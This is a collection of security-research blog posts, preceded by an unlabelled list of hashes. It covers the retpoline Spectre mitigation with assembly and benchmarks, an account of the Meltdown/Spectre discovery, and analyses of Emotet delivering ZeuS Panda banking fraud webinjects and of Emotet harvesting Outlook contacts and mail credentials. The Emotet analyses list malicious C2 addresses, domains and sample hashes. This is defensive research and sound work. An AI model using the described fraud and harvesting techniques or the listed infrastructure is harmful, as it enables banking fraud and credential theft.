5d85fba3ff021b35bfba30d5d56b957ef084d818778ff77550bcf65755aa7849
5f37829988e827f05b42774db94e8a15e87e9de12e61b89c91bf5fddee90650c
6d7d35b4ce45fae4a048f7e371f23d1edc4c3b6998ab49febfd7d33f13b030a5
6f6e9dde888d2368c1c9973769a5ea76bbf634105ed4f8adf1e74624f39454ad
725efe161b8d0024cd330e3a3da194b46d16be14d57392fbfdf1ea71415d67b1
75fa1309be8fdca4a6df345a009b47938503d5227149838334581b08d40b7e2f
9085926d0beacc97f65c86c207fa31183c5373e9a26fb0678fbcd26ab65d6e64
90c956e8983116359662f8b82ae156b378d3fae02c07a18827b4c65f0b5fe9ef
98d4f0e8f91d7f4f1a3058b1a30220e3460cc821be704acfcb7fa2eb0c88818c
99ca9d41c2ea6a18436fbc173ce8f3e94b5a3d592d9e4fa978120d140d96aefa
a9f66d9dd3fd0f977381e83c1379fe664f22ebdd5695258fc388465cd3749562
af33d399d9cb8026d796daf95f5bda9da96bb021ad93c001a21aa38005f2faa7
b30b4acf05898c8a6338f5df6c3df7d7f06df8e67ccd773ffd83b5b8acff4cb8
bdfb1a9f59be657b5375689b357ef8e70e1e7332f52c2e79ab3be796e06858d1
ca8be57bbd2f3169d0c1c4b5145e8f955ea69ddde701f94a2b29c661389b3aa2
cc2b47bffc260d992c602dbdbce1fb2ed982df883956cad9beac1ee0784650f6
d17d32048aae06ec60b693cd83e1cf184e8c2e4d1f0299a28423fdc624f56bb8
d2e43c41acd40324813d51df99fa127b86d8e384671dcc77f748d86afc3993a5
e2153c73ec9fd15dc8389523515a96c3477fce5503be78ff82ab3cc7e9386e83
e4dd30d5d85c4aaf05e01d8f40fb0e01e4e8ba99e82ec58946c045ce53783bde
e8349cfcc422310c259688b0226cb14f5196a6daad77b622405282aeac89ab06
f99610f8e36eb65e75979ef3ea4b7382bfb0bf2b72191cefccaaa19283d23606

In debt to Retpoline

 

Appendix was added on the 14th of Febuary 2018, in response to comments made to me on twitter. In this connection “retpoline pause lfence” and “retpoline ud2” was added to the table. Other than that only typos where fixed since original post.

Abstract

In this blog post I explore the Retpoline mitigation that Paul Turner of Google suggested for the Spectre indirect branch variant issue [1]. A short differential side channel analysis is made along with a performance analysis. The impact of the use of a pause instruction in retpoline is discussed. Finally I consider the technical debt leveraged on CPU developers of a widely deployed retpoline.

 

How does retpoline work

This section follows the google presentation of retpoline closely [1]. I included it because it provides the context for the remainder of this blog post. A jmp rax is turned into the following code:

 

  1. call set_up_target;  
  2. capture_spec:     
  3. pause;                  
  4. jmp capture_spec
  5. set_up_target:  
  6. mov [rsp],rax   
  7. ret;          

call set_up_target (1) pushes the address of capture_spec(2) to the return stack buffer (RSB, cpu internal buffer used to predict returns). It also pushes the address of capture_spec(2) to the program stack and transfers control to set_up_target (5).  The mov [rsp],rax overwrites the return stack address on the program stack, so that any subsequent returns will pop the stack and return to the original target in its architectural path. The speculative path of the return remains the value from the RSB and thus the CPU will speculatively execute the code starting at (2). The pause instruction is meant to relinquish pipeline resources to co-located hyperthreads and save power if no co-located hyperthreads are present. The jmp in line 4 continues to repeat the pause until the speculative execution is rolled back when the ret in line 7 finished executing.

 

In simple terms this means the speculative path will resolve to a spinlock thus not leak any information through a side channel. The architectural path will eventually resolve correctly and the program will run as it is supposed to.

 

Side channel analysis of retpoline

Retpoline’s architectural side channels consist of flushing an entry in the RSB caused by the call in line (1). This information is unlikely to bring an attacker much advantage and would require an attack to have a sufficient amount of control of the RSB. The 6th line makes a store access on the stack. This is visible through a cache side channel to an attacker — provided the attack has sufficient control. However, it is unlikely to provide much information given that the stack is usually used by the functions themselves. It is worth noting that any information this side channel can provide is also provided by the jmp rax (6). Presumably retpoline’s stack access provides slightly less information to an attacker than the original jmp rax instruction – i.e. BTB indexing bits vs. cache set indexing bits. The 7th line is more tricky: if the CPU updates the BTB after a misprediction, the BTB side channel will be similar useful to the original jmp rax. I think it is likely that the BTB is not updated until retirement, so that this side channel isn’t present. Since the pause instruction (line 3) is a CPU hint, the CPU may choose to take or ignore the hint at its discretion – more on this below. Thus, pause may or may not provide a side channel.  If external power is plugged in and the hint is taken one can see a co-located hyperthread speed up (see [2]), which is the purpose of having the pause instruction here, but certainly a side channel as well. If the CPU is running in power saving mode (e.g. unplugged laptop), pausing provides a side channel since executing a pause instruction on two co-located hardware threads causes a delay for both, presumably through C-State interaction. See[3]. In sum, I think the side channels provided by retpoline is less valuable than the side channel provided by the original indirect branch (but is still present).

 

Performance analysis of retpoline

A jmp rax instruction takes about 4 clock cycles to execute and predicts correctly very often. It is replaced in retpoline with a ret instruction which will always mispredict and thus executes far slower. However, unlike doing hard serialization once the ret instruction has been executed out-of-order, the CPU seems to be able to continue without a pipeline flush and thus allowing out-of-order execution to continue. This creates two corner cases: firstly, where dependencies block out-of-order execution across the indirect branch, and secondly, when there is no dependence across the indirect branch. I managed to create a sequence of instructions where retpoline was just as fast as the original unpredicted branch – this is the case when the instructions after the branch depend on the results of the instructions before the branch. Obviously, any co-located hyperthread will be more affected by the retpoline than a predicted indirect branch, but the thread itself does not lose any cycles. At first this seems weird, but imagine completely dependant ALU integer instructions on both sides of the indirect branch – with the branch unit being completely free, both retpoline and the indirect branch will execute concurrently with the integer ALU instructions before the branch. Since the integer ALU instructions after the branch are dependant of those before the branch, they only get scheduled for execution once all prior instructions have been executed. Thus, retpoline and an indirect branch perform equally. In the case of no dependencies across the indirect branch, retpoline is slower. Retpoline will not allow the out-of-order execution to continue until the ret instruction is executed and consequently adding a penalty compared to a predicted indirect branch. In general, the longer it takes for the indirect branch to resolve, the higher the penalty of retpoline is. There is also an indirect performance cost of retpoline which – in my opinion – is likely to be somewhat smaller. The call in line 1 will push a return address onto the RSB (and consequently may evict the oldest entry in the RSB), and thus potentially causing an RSB underflow once a previous call returns. A RSB underflow will manifest itself as a negative performance impact if the evicted RSB entry causes mispredictions or stalls in unrelated code later on. For this to happen a call stack is required to be deeper than the the size of the RSB. The stall penalty of the underflow was big enough to cause Intel to add prediction to the microarchitecture (for Broadwell and Skylake). If this prediction was as efficient as using the RSB, the RSB would not exist.

 

The following table presents the results of my micro benchmarking:

 

Unit Clock cycles Mean Std.dev Median
jmp rsi 350.33 95.48 346
retpoline pause 410.64 65,94 410
retpoline lfence 403.76 25,96 404
retpoline clean 402.13 19,99 402
retpoline pause lfence 406.74 64,76 404
retpoline ud2 404,29 28,70 402

The “retpoline clean” is without the pause instruction, “retpoline lfence” is where pause has been replaced with a lfence instruction. The results are generally not very stable over multiple runs but with all three versions of retpoline often ending up with an average of around 400-410 cycles and the indirect branch being around 50 clks faster on average. Thus, some additional care should be taken before concluding

 that “retpoline pause” is slower than the others. I ran the tests with 100k observations and removed the slowest 10% observations in a primitive noise reduction approach. The microbenchmark is for a bad case with no dependency across the indirect branch for integer instructions (add rsi,1, add rbx, 1 respectively) and is run on a Intel  i7-6700k. While microbenchmarking is important for the arguments I will put forth in this text, it is important to note that they are not reflective on the system’s performance as the incidence of indirect branches is relatively small and this benchmark is manufactured to portrait cases which are worse than in normal scenarios. Also, the microbenchmarking completely ignores any indirect effects.

The weird case of pause

It immediately seemed weird to me to have the pause instruction in the spinlock in line 3 of retpoline. Usually we have pause instructions in spinlocks, but spinlocks execute architecturally at some point. Having a pause of 10 clock cycles for Broadwell and 100 for Skylake in the spinlock potentially causes the CPU to pause the architectural flow that needs to be done before the return instruction can be executed. This may lead to a larger-than-necessary penalty to the spinlock. However, pause is not actually an instruction. It is a hint to the CPU and my guess is that the hint is not taken. I ran retpoline on my Broadwell and my Skylake and compared the penalty: there was almost no difference. This is important because we would expect the different implementation of pause to give different average latencies if it was actually executed (10 clk vs 100 clk). Another argument for pause not being executed speculatively is that pausing is connected to a VmExit. I can only guess why Intel  made it is possible to get a VmExit on pause instruction. I think the most compelling reason would be to use the pause used by spinlock in a guest to process small work items in the hypervisor instead of just idling the CPU. This would probably also help virtualizing hardware. If I am right about this, it would be sensible for the pause hint actually pause only on retirement instead of pausing the CPU speculatively. Another argument is power management: the behavior of the pause instruction depends on the C-State of a co-located hyperthread. Presumably this gives us one of the two side channels as described in a previous section. There is little reason on why a CPU designer would pause a thread which is executing other instructions out-of-order.

 

Discussion of technical debt of retpoline

As clever as retpoline seems, I think it is fundamentally broken. Not because it does not work but instead because it builds a large amount of technical debt. Adding retpoline to a piece of software would require CPU designers to make sure that legacy software is compatible with new CPUs. If a company like Google applies retpoline in their instructure it is fairly unproblematic, Google has a nice inventory of software running on their systems and they can make sure that software applied to new CPUs is recompiled and consequently this poses no constraints on a CPU designer. However, if we add retpoline to a compiler we can be sure it will be added to all kinds of software including virtual machines, containers, specialized software etc. These pieces of software often do not remain supported, they are poorly catalogued and consequently, if the behavior of retpoline changes significantly, these systems may perform suboptimal, be unsafe or even completely break. This effectively ties the hands of CPU designers as they strive to improve the CPU in the future.

 

The first concrete problem I see is the use of the pause hint: regardless of whether the pause hint is taken in retpoline or not, its non-intended use in retpoline ties the behavior of this instruction down for CPU designers in future generations of CPUs. It is worth noting here that we have at least 3 different implementations of the pause hint in different CPUs already (treated as nop, stall 10 clks, stall 100 clks)[5]. Adding to that the complexity of the instruction I outlined above, it would be fair to assume that this instruction might need changes in future generations of CPUs. Thus, having the pause hint in retpoline in scattered over software everywhere might turn out to be a bad idea thinking long term. The good news here is that there probably is a good solution for this. Replacing the pause instruction with lfence will serialize the speculative path and probably even stop it from looping; effectively stopping the execution of the spinlock may free up resources for co-located hyperthread as well as branch execution units for the main thread that otherwise would have been tied up by the jmp instruction in line 4. I ran some test on Skylake and found very near identical performance results for pause and lfence, suggesting that this is viable solution. It is important to note that the lfence instruction was previously documented to only serialize loads. But instead it silently serialized all instructions — which is now the documented behavior since Intel published their errata documents for the Spectre/Meltdown patches [7]. So, the mortgage on lfence is small and has already been signed.

 

The second concrete problem I see is the construct which repoline uses to direct speculative execution into the spinlock is a much bigger problem. On Skylake, return instructions predict by using the indirect branch predictor, requiring Skylake to be handled differently than other CPUs. The problem is twofold: on the one hand, the very common ret instruction needs to be replaced with retpoline (or other non-speculative branching), and on the other hand, the hardware interrupt raised in line 6 may underflow the RSB in the interrupt handler. Thus, repoline is already potentially unsafe on some CPUs (in my opinion much less than without retpolinie though). The technical debt here is that retpoline may be completely unsafe if future CPUs stop relying on the RSB for return prediction. There may be many reasons for a CPU designer to change this. For example a completely unified system for indirect branches or prediction of monotonic returns (returns with only one return address). The latter will keep the RSB save from non-monotonic returns if the RSB underflows and thus may perform better when there are deep call stacks. I do not know whether these things are good ideas, but retpoline might effectively rule them out. Also, one could imagine conflicts with future CPU-based control-flow integrity systems, etc.

 

One could argue that performance optimization rely on microarchitecture details all the time, but there is an important difference between breaking a performance optimization and a security patch. Already we see problems with updating broken libraries amongst software vendors, it’s not difficult to imagine what would happen if a secure software becomes insecure because of CPU evolution.

 

Instead of taking on technical debt potentially forever, I suggest we use either a less secure option (i.e. lfence ahead of indirect branches) or a more expensive option such as IPBP [7] or replacing indirect calls with iret (which is documented to be serializing). That constitutes a high price now, but avoids paying rent on technical debts in perpetuity.

 

Conclusion

Retpoline is an effective mitigation for Spectre variants which rely on causing misprediction on indirect branches on some CPUs. From a pure side channel perspective retpoline adds a different side channel but it is an improvement over the side channel of a traditional indirect branch nonetheless. Retpoline’s performance penalty is complex, but likely smaller than the penalty of the serializing alternatives. However, as Retpoline relies on assumptions about the underlying microarchitecture, it adds technical debt if used widely. If Google, Microsoft or whoever with software-deployment management wants to use it, they have my blessing but there is reasons for scepticism if it is a good idea to have it in general purpose compilers. CPU Vendor’s short term marketing deficits should not lead us to trade small short term performance gains causing technical debt to be paid back with interest in the future for a more complex microarchitecture.

Appendix added 14th of Febuary 2018

Stephen Checkoway of University of Illinois at Chicago commented that it might be worth testing an ud2 instruction in the speculative executed spinlock. I find this idea promising because ud2 essentially just throws an “invalid opcode” exception and thus abusing it for retpoline is likely to produce equivalent performance to that of lfence, perhaps even better, Further, it’s unlikely that using this instruction is associated with any technical debt. The simple test result here shows that the direct performance impact is approximately similar (see table above) that of the other versions of the spinlock.

Some implemented versions of retpoline uses a pause followed by an lfence instruction. I added this to the performance table as well. Thanks to Khun Selom & @ed_maste (twitter account).

 

 

Literature

[1] Turner, Paul. “Retpoline”. https://support.google.com/faqs/answer/7625886

[2] Fogh, Anders. “Two covert channels”. https://cyber.wtf/2016/08/01/two-covert-channels/

[3] Fogh, Anders “Covert Shotgun”. https://cyber.wtf/2016/09/27/covert-shotgun/

[4]Intel, “Intel® 64 and IA-32 Architectures Software Developer Manual: Vol 3”

.https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-system-programming-manual-325384.html

[5] Intel. Intel® 64 and IA-32 Architectures Optimization Reference Manual. July 2017. https://software.intel.com/sites/default/files/managed/9e/bc/64-ia-32-architectures-optimization-manual.pdf

[6] Evtyushkin, Dmitry, Dmitry Ponomarev, and Nael Abu-Ghazaleh. “Jump over ASLR: Attacking branch predictors to bypass ASLR.” Microarchitecture (MICRO), 2016 49th Annual IEEE/ACM International Symposium on. IEEE, 2016.

[7] Intel, “Speculative Execution and Indirect Branch Prediction Side Channel Analysis Method”, https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00088&languageid=en-fr

Behind the scenes of a bug collision

Introduction

In this blog post I’ll speculate as to how we ended up with multiple researchers arriving at the same vulnerabilities in modern CPU’s concurrently. The conclusion is that the bug was ripe because of a years long build up of knowledge about CPU security, carried out by many research groups. I’ll also detail the rough story behind the research that let me to the bug. My story is probably different than that of the other researchers, but while unique, I am relatively sure that it’s the same for all researchers on most security issues: security research is a long haul thing. The remainder of this blog post is semi-technical.

Why did we get a bug collision on Spectre/Meltdown?

This is of course my take on the event, my personal story, which I’ll detail below. Research collision in CPU research isn’t that uncommon. In fact, the story of my friendship with Daniel Gruss is about a series of collisions. In 2015 I was preparing a talk about row hammer for Black Hat with Nishat Herath [2] when Daniel tweeted that he was able to flip bits from Javascript. I didn’t want to have questions I couldn’t answer, so I started researching it and literally the evening before Daniel published how he was doing it, I knew how he did it. Later Daniel teased me about detecting cache side channels if there were no L3 cache misses. I replied ‘are you timing Clflush?’ He was indeed. You’ll find me being acknowledged in the paper for this reason [1]. I told him he shouldn’t worry about me competing on publishing it, because I was doing research on a side channel in the row buffer and didn’t have time to compete on Clflush. Turns out he and the wu cache clan were too. I blogged it, and wu cache clan wrote a paper on it in Pessl et al. [3]. You’ll find me acknowledged here as well. Not long after that, I did a blog post on breaking KASLR with the prefetch instruction. Obviously, Daniel was doing the exact same thing again. We had enough of competition and started my by now a regular collaboration with the WU cache clan after that point.

So why do things like this happen? (Granted, the story about Daniel is a freaky one.) Well, CPU research is much like drawing a map of an uncharted world. Researchers start from known research and proceed into the unknown, and if they find something, they document it and add it to the map. This essentially means that the frontier looks very similar to everybody leading people into the same paths. This processed is very much sustained by the fact that almost all research in this area is academic and academia is much better organized in terms of recording and documenting than hackers.

For a thing like meltdown, the real foundation was laid with the work on cache side channels sometime back around 2005. There are many papers from this time, I’ll mention Percival [4] because it’s my favorite. Another milestone paper was Yuval Yarom’s paper on Flush+reload [5]. Note that Yuval is also partial to the Spectre paper. With this foundation, a subgenre of papers emerged in 2013 with Hund, Willems & Holz [6]. They essentially noticed that when an unprivileged user tries to read kernel mode memory, the CPU actually does a great part of the read process before making an error, allowing a user to observe not the data of the kernel, but the layout of the kernel – this is known as a KASLR break and is important for classical exploits. This work was followed up with improvements including Gruss et al [7] and Yang et al [8]. Both papers showed that a lot more work was being done by the CPU than was strictly needed when an unprivileged user accesses kernel memory – an important prerequisite for Meltdown to exist. Also in 2016, another KASLR break using branches from Evtuishkin et al. emerged[9]. They didn’t try to read from the kernel but rather found that branch prediction leaked information. This is important because branch prediction is a precursor for speculative execution and thus build a bridge towards Meltdown. Felix Wilhelm [11] extended Evtuishkin et al. [9] to extend to hypervisors which are likely to be important in the rationale for hypervisors being affected. In fact, I think Jann Horn mentioned this blog post as an inspiration. There where other works, like that of Enrique Nissim[11] which showed that the KASLR breaks real-world applications with a classic exploit. Also in 2016, some work was being done on side channels in the pipeline. My Covert Shotgun blog post is an example of this literature[12]. To sum it up, by the end of 2016 it was known that unprivileged reads from user mode to kernel mode did more processing than was strictly required, it was known that branches were important, and there was work going on examining the pipeline. In end effect, the Meltdown bug was surrounded on all sides. It was a single blind spot on the map – obviously, nobody knew that there’d actually be a bug in this blind spot and I think most did not believe such as bug existed. Other people would probably pick other papers and there where many. My point remains: a lot of people moved towards this find over a very long period of time.

The personal perspective
I work for GDATA Advanced Analytics and there I work in an environment that is very friendly and supportive of research. Without research, a consultant company like ours cannot provide excellence for their customers. However, CPU bugs don’t pay the bills, so my day job does not have much to do with this. I spend my time helping customers with their security problems: malware analysis, digital forensics, and incident response being the main tasks that I do on a day to day basis. This means that the bulk of the work I do on CPUs is done in my spare time after hours.

So my story with Meltdown and Spectre starts essentially at Black Hat 2016 where Daniel Gruss and I presented our work on the prefetch instruction. The video of our talk can be found here [13]. As described above, this work slowly gave me this fuzzy feeling that maybe this work is just the tip of the iceberg. In fact did a blog post about the meta’s on breaking KASLR in October 2016 [14] and presented it at RuhrSec 2017 [15], so I was very well acquainted with that literature. Meanwhile, I wanted to get away from working with caches and accidentally found some covert channels and wrote about them[16]. I thought there might be more and started picking apart the pipeline in search of covert channels. My frustration led me to automate finding covert channels which resulted in this blog post [12] and later this talk at HackPra [17]. In the talk, you can hear that I’m still frustrated “I don’t care, I’ll just use a shotgun”. To this day I have many unanswered questions about the pipeline..
Later that year I met up with the WU Cache Clan at CCS where we were presenting the academic version of the prefetch KASLR break[7]. We had some beer-fueled conversations. The conversations were added upon at Black Hat Europe (Michael Schwarz and I did a talk on the row buffer side channel we’d done concurrent work on) where I started believing that meltdown might be possible, but yet without a clue as to how it could possibly work.

I finally made the connection to speculative execution on December 2016/January 2017 when I prepared the presentation for HackPra about Covert Shotgun[17]. There are a lot of slides about speculative execution. At first, I didn’t think about reading kernel memory. My first “attack” was just another attack on KASLR. Essentially it was Hund, Willems, Holz in a speculative version- the work never really got finished (timing inside of speculative execution is possible, but not easy – I did not find a solution to this problem until much later) the rationale for doing this work is that it would solve a problem with their method and do this stuff in my spare time – fun is essential and this sounded like fun. So my project name for Meltdown was “undead KASLR”, despite me quickly figuring out there was bigger fish to be fried. I told my friend Halvar Flake about the weird ideas while presenting at IT-Defense in February and his encouragement was a big part of me actually continuing, because I didn’t believe it would work.

In March, I had the first chance to do some real work on the project during a small get away from work to present Jacob Torrey’s and my work on PUFs (the work was really mostly Jacobs – and not related to Meltdown per se) at Troopers 17. I researched mornings in the hotel and even did some research during other people’s talks. Fun fact: there is s a video of me doing a spectre-style attack POC on the code I’d added to Alex Ionescu’s wonderful Simplevisor. Hi Alex! I’m the bald head seen to the lower left of the center isle doing weird head movements and packing away my laptop as I succeeded at around 19 minutes into the video. The second half of the talk was pretty awesome btw!!

Later in March 2017, I visited Daniel, Michael, and Clementine Maurice in Graz to work on a common project we had on detecting double fetch bugs with a cache attack (which became this paper [21]. Here I tried to pitch my idea, because with the workload I had I knew it would be difficult for me to realize alone. Unfortunately, I wasn’t the only one fully booked out and Daniel, Michael and myself were super skeptical at that time, despite the slight encouragement I’d had at Troopers. So we decided to finish the stuff we were already doing first. Might I add here that Daniel and Michael did some really cool stuff since then? Struggling with work and making a sufficient contribution to the double fetch paper the project was on ice. The main reason why my name is so far back on the paper is that I didn’t have time to pull my weight.

After Troopers, I didn’t get much done and was really frustrated about it. So in July, I started back up again in the evenings. It helped me immensely that my climbing partner suffered an injury giving me a bit more time. This time around I was working targeted at Meltdown. I were doing stuff much too complicated at first and wasted a lot of time on that. Then I tried to simple things up as much as I could and this is why I ended up with a negative result. I wrote up the blog on company time on a Friday before noon before leaving early on a vacation. Luca Ebach helped proof read it. If he hadn’t it would’ve been unreadable and Tomasulo would’ve been spelled wrong.. The “Pandoras box” part of the blog post is a reference to the limited and unfinished stuff I did on “Spectre”, which I was sure would work at the time, but needed checking before I’d commit to blogging about it. While on vacation, I decided to wrap things up in an academic paper and with some positive results in my hands, seek help from some academic professionals. So I have continued my research afterward, after all you don’t open Pandora’s box without looking what is inside. In light of recent events, I shall not be publishing the rest of the stuff I did.

The stuff that Jann Horn did, is really really awesome, the same goes for the Spectre/Meltdown papers. It is wonderful to see that I was barking up the right tree. It is important to me to mention that Jann Horn reported his research prior to my blog post and did not have access to mine prior to that date.

Literature

[1] Gruss, Daniel, et al. “Flush+ Flush: a fast and stealthy cache attack.” Detection of Intrusions and Malware, and Vulnerability Assessment. Springer International Publishing, 2016. 279-299.
[2] Nishat Herath, Anders Fogh. “These Are Not Your Grand Daddy’s CPU Performance Counters” Black Hat 2015, https://www.youtube.com/watch?v=dfIoKgw65I0
[3] Pessl, Peter, et al. “DRAMA: Exploiting DRAM Addressing for Cross-CPU Attacks.” USENIX Security Symposium. 2016.
[4] Percival, Colin. “Cache missing for fun and profit.” (2005).

[5] Yarom, Yuval, and Katrina Falkner. “FLUSH+ RELOAD: A High Resolution, Low Noise, L3 Cache Side-Channel Attack.” USENIX Security Symposium. 2014.
[6] Hund, Ralf, Carsten Willems, and Thorsten Holz. “Practical timing side-channel attacks against kernel space ASLR.” Security and Privacy (SP), 2013 IEEE Symposium on. IEEE, 2013.
[7] Gruss, Daniel, et al. “Prefetch side-channel attacks: Bypassing SMAP and kernel ASLR.” Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. ACM, 2016.
[8] Jang, Yeongjin, Sangho Lee, and Taesoo Kim. “Breaking kernel address space layout randomization with intel tsx.” Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. ACM, 2016.
[9] Evtyushkin, Dmitry, Dmitry Ponomarev, and Nael Abu-Ghazaleh. “Jump over ASLR: Attacking branch predictors to bypass ASLR.” Microarchitecture (MICRO), 2016 49th Annual IEEE/ACM International Symposium on. IEEE, 2016.
[10] Wilhelm, Felx. “Mario Baslr”, https://github.com/felixwilhelm/mario_baslr
[11] Nissim, Enrique. “I Know Where Your Page Lives: De-randomizing the Windows 10 Kernel”. https://www.youtube.com/watch?v=WbAv2q9znok
[12] Fogh, Anders. “Covert Shotgun”, https://cyber.wtf/2016/09/27/covert-shotgun/
[13] Fogh, Anders, Gruss, Daniel. “Using Undocumented CPU Behavior to See Into Kernel Mode and Break KASLR in the Process” Black Hat 2016.
[14] Fogh, Anders, “Micro architecture attacks on KASLR”,https://cyber.wtf/?s=kaslr
[15] Fogh, Anders. “Micro architecture attacks on KASLR and More”, https://www.youtube.com/watch?v=LyiB1jlUdN8
[16] Fogh, Anders, “Two covert channels”, https://cyber.wtf/2016/08/01/two-covert-channels/
[17[ Fogh, Anders, “Covert Shotgun”, https://www.youtube.com/watch?v=oVmPQCT5VkY&t=34s, Hack Pra 2017
[18] Schwarz, Michael, Fogh, Anders. “Drama: how your DRAM becomes a security problem”. Black Hat Europe 2016 https://www.youtube.com/watch?v=lSU6YzjIIiQ
[19] Ionescu, Alex, “SimpleVisor” https://github.com/ionescu 007/ “
[20] Neilson, Graeme, “Vox Ex Machina”, Troopers 17. https://www.youtube.com/watch?v=Xrlp_uNBlSs&t=1145s
[21] Schwarz, Michael, et al. “Automated Detection, Exploitation, and Elimination of Double-Fetch Bugs using Modern CPU Features.” arXiv preprint arXiv:1711.01254 (2017).
[22] Fogh, Anders. “Negative result: reading kernel memory from user mode” https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/

Emotet drops ZeuS Panda targeting German and Austrian online banking users

Emotet is currently one of the prevalent threats on the Internet. The former banking trojan is now known to steal passwords and to drop other malware like Dridex on its infected machines. We recently found Emotet spreading Zeus Panda, which presented us with an opportunity to link some of our research on Emotet with our analysis of ZeuS Panda.  The Zeus Panda sample used in this wave is rolled out through Emotet in german-speaking countries and targets online banking users in Germany and Austria.

The Emotet C2 server drops additional malware to infected system. Whether a system receives such a package seems to be based on the geographical location of the infected system in question. After the additional malware is downloaded from the C2 server, it is written to a file in %ALLUSERSPROFILE% (C:\ProgramData in recent Windows versions) with a random name of 4 to 19 characters length and the file extension “.exe”. Emotet is capable of executing this binary in two different ways, either of which is chosen by the C2 server. The first mode executes the malware in the same context that Emotet is running in, the second mode executes the malware in the context of the currently logged-on user.

As stated above, the current wave downloads and executes the well-known ZeuS Panda banking trojan. To know which banking sites it should attack and how to modify the site’s content, the trojan needs so-called webinjects. From the URL masks of the webinjects this sample uses, we can tell that it currently targets online banking customers in Germany and Austria. All injects write a single script reference into the targeted websites. When the targeted site is loaded, the browser loads the referenced script, which is then executed in the context of the banking website. The only difference between the webinjects is the last number in the URL of the script source. This number seems to define the targeted website, which allows the server to deliver a target-specific script. The script actually downloaded is obfuscated by a simple string encryption. The actual script is part of an Automated Transfer System (ATS) which tries to persuade the user into transferring money to an account the attacker specifies.

scriptSchutzanalageRetoureThe above screenshots show an exemplary representation on the modification of the banking websites. They show two different attack scenarios: The first script tries to trick the user into performing an transaction in the guise of a security check. The attackers “inform” the customer of newly installed security measures on the banking website, coercing the user to complete a training using a demo account, before they are able to access their account again. During this training, a real transaction is made in the background to an account that the attacker specifies. The phrasing in the text is lousy and should raise suspicion with most customers.

 

The second script tries to persuade the user that an erroneous transfer was made to their account. It suggests to go to a bank branch or make the return transfer online. Additionally, the script blocks access to the banking account until the return transfer has been completed. The phrasing in the text is better than in the first script and may not raise suspicion at first glance.

The first script resembles word by word the webinject Kaspersky identified during their analysis of Emotet in 2015. At this time Emotet contained its own banking trojan capability and delivered the webinjects directly into the browser. As ZeuS Panda uses the same webinject format as the old Emotet, we can speculate about the reasons:

  • The webinject is acquired from the same creator
  • The group behind Emotet has dropped developing their own banking trojan and acquires such trojans from other malware authors
  • The group behind Emotet developed multiple banking trojans for its own use and for sale

It seems Emotet is not only used to sell distribution of malware, but also used by its owners. It is also possible that the group behind Emotet uses the slim downloader as an entry point for targeted attacks. In this case the group can spread Emotet worldwide and distribute specific malware to each target. As the real malicious payload is only downloaded after some time and only to specific targets, analysts can not directly draw conclusions on the real intention of an infection.

IOCs

Emotet:

C2:

5.9.195.154
45.73.17.164
60.32.214.242
85.25.33.71
194.88.246.242
213.192.1.170
217.13.106.16
217.13.106.246
217.13.106.249

SHA256:

0d25cde8d49e1bcf6a967c0df6ac76992ff129ea5c30a1492a5bedd313e6fb51
c287a9aa25ed6afc54bc5ebe4b098675f3fa4b7cb51fbdcfb50591b4b8fa3b90

ZeuS Panda:

C2:

uamanshe.gdn
ugjeptpyour.top

SHA256:

4fe20a9cf5e5c28ec55aa529179f7fe6df3cda8ae43340b04b2402f43dfefd5f
fbd9e31cc5cbfce2b8135234fdcfdac7fa48a127aa6f3644d05c6ba77bd6d903

Emotet harvests Microsoft Outlook

The original German blog post can be found on the G DATA Blog.

Emotet has been known as a trojan for years. Former versions focused on attacking online banking users, however the current Emotet was  transformed into a downloader and information stealer. The first reports of this new variant were published by CERT Polska in April 2017. Since then, Emotet has been spreading through spam phishing mails containing a link to a Microsoft Word document that acts as dropper for the Emotet binary.

Recently, CERT-Bund again warned about the spam mails which spread Emotet. The sender address of these emails is spoofed to appear as a sender known to the recipient. This strengthens the trust in the mail and increases the probability that the recipient opens the attachment or link without further consideration.

For this to work, the entities spreading Emotet need to have at least superficial knowledge of the social network a target interacts with via email. Acting opportunistically Emotet delivers a specific module to infected systems to harvest all emails in Microsoft Outlook accounts of the current user, allowing it to extract the relations between sender and receiver.

 

MAPI-Functions

To obtain the information from Outlook, the module takes advantage of the standardized interface MAPI. The picture above shows the loading of the MAPI-DLL and the retrieval of the needed functions. Utilizing this interface, the module iterates through all Outlook profiles it can access on the computer. It extracts all E-Mail-Account Names and E-Mail-Addresses from each profile. Afterwards it searches for emails recursively in each folder in the profile. From each mail found it extracts the sender (displayed name and mail address) and all recipients (displayed names and mail addresses) inclusive the recipients in the CC- and BCC-fields and saves them in relation to each other. The picture below shows the extracted fields from the emails. In case a field only contains a reference to an address book entry, the module extracts the name and email address from the address book. In this process only the mail header is evaluated, the content of the mails is not analyzed.

Fields

After the Emotet module has searched all profiles, folders, and emails, it writes the data it has retrieved in a temporary file in the directory %PROGRAMDATA%. The email addresses are sorted descending by how often they occur. Each address is extended with all contacts, that are in relation to it. However, two cases are distinguished:

  • if the referenced contact is the sender of the mail, it is extended with all recipients
  • if the referenced contact is the recipient of the mail, it is only extended with the sender

Example (Mailbox of A):mail

Mail 1: A sends to B and C

Mail 2: D sends to A

Mail 3: C sends to A , D, and E

A is referenced three times and therefore is placed on top of the list. A has a relation to B and C through mail 1, thus B and C get connected with A. Mail 2 shows a connection from D to A, thus D gets connected with A too. The relation from C to A in mail 3 is ignored, because it is already captured in mail 1 (A→C). Mail 3 contains the additional relations C→D and C→E. As no relations between C↔D and C↔E are already in the list, the contacts D and E get assigned to the contact C and are appended to the list.

The complete list, which gets transferred to the attacker, looks like this:

A<A@mail.com>; B<B@mail.com>; C<C@mail.net>; D<D@mail.com>
C<C@mail.net>; D<D@mail.com>; E<E@mail.com>

Afterwards the module encrypts the file, transfers it to the attacker and removes it from disk.

This  allows the attacker to get a condensed but comprehensive overview of the social network graph behind a victims email communications. With such a list, an attacker has knowledge of the relation between persons and can send spam mails with suitable sender header without great afford. Additionally, an attacker learns relations between contacts whose computers are not yet infected.

To deliver the spam mails to the suitable recipients, the attacker needs valid E-Mail accounts. For this task, they use an additional module that is able to extract the credentials from mail programs and transfer them to the attackers. To extract the credentials from all common mail programs, such as Microsoft Outlook, Mozilla Thunderbird, and Windows Mail, this module utilizes an integrated copy of the application Mail PassView from the company NirSoft. It writes this information to a temporary file, which is then encrypted and transfered to the attacker. Once transfered the temporary file is deleted.

DGA classification and detection for automated malware analysis

Introduction

